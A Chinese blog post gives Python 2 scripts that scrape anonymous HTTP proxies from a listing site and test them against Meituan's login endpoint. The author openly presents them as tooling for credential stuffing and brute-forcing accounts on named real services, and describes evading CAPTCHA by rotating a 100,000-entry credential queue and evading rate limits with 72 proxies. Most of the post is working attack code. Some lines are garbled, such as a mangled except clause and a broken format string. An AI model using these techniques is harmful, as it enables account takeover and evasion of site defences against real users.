批量获取及验证HTTP代理的Python脚本

HTTP暴力破解、撞库，有一些惯用的技巧，比如：

1. 在扫号人人网时，我遇到单个账号错误两次，强制要求输入验证码，而对方并未实施IP策略。

我采用维护10万（用户名，密码） 队列的方式来绕过验证码。具体的做法是，当某个用户名、密码组合遇到需要验证码，就把该破解序列挂起，放到队列尾部等待下次测试，继续破解其他账号密码。

这样就可以保证2/3的时间都在进行正常破解和扫号。

2. 在破解美团网某系统账号时，我遇到了单个IP访问有一定限制，请求频率不可过快。于是我挂了72个 HTTP代理来解决这个问题。 看似每个IP的请求都正常，但其实从整个程序上看，效率还是挺可观的。

本篇我发出自己抓HTTP的脚本片段，其实只有几行。匿名代理是从这里抓取的：http://www.xici.net.co/nn/

首先获取代理列表 ：

from bs4 import BeautifulSoup
import urllib2


of = open('proxy.txt','w')

for page in range(1,160):
  html_doc = urllib2.urlopen('http://www.xici.net.co/nn/' + str(page) ).read()
  soup = BeautifulSoup(html_doc)
  trs = soup.find('table',id='ip_list').find_all('tr')
  for tr in trs[1:]:
    tds = tr.find_all('td')
    ip = tds[1].text.strip()
    port = tds[2].text.strip()
    protocol = tds[5].text.strip()
    if protocol == 'HTTP' or protocol == 'HTTPS':
      of.write('%s=%s:%sn' % (protocol,ip,port) )
      print '%s=%s:%s' % (protocol,port)

of.close()

接着验证代理是否可用，因为我是用于破解美团网系统的账号，因此用了美团的页面标记：

#encoding=gbk
import httplib
import time
import urllib
import threading

inFile = open('proxy.txt','r')
outFile = open('available.txt','w')

lock = threading.Lock()

def test():
  while True:
    lock.acquire()
    line = inFile.readline().strip()
    lock.release()
    if len(line) == 0: break
    protocol,proxy = line.split('=')
    headers = {'Content-Type': 'application/x-www-form-urlencoded','Cookie': ''}
    try:
      conn = httplib.HTTPConnection(proxy,timeout=3.0)
      conn.request(method='POST',url='http://e.meituan.com/m/account/login',body='login=ttttttttttttttttttttttttttttttttttttt&password=bb&remember_username=1&auto_login=1',headers=headers )
      res = conn.getresponse()
      ret_headers = str( res.getheaders() ) 
      html_doc = res.read().decode('utf-8')
      print html_doc.encode('gbk')
      if ret_headers.find(u'/m/account/login/') > 0:
        lock.acquire()
        print 'add proxy',proxy
        outFile.write(proxy + 'n')
        lock.release()
      else:
        print '.',except Exception,e:
      print e

all_thread = []
for i in range(50):
  t = threading.Thread(target=test)
  all_thread.append(t)
  t.start()
  
for t in all_thread:
  t.join()

inFile.close()
outFile.close()

（编辑：安卓应用网）

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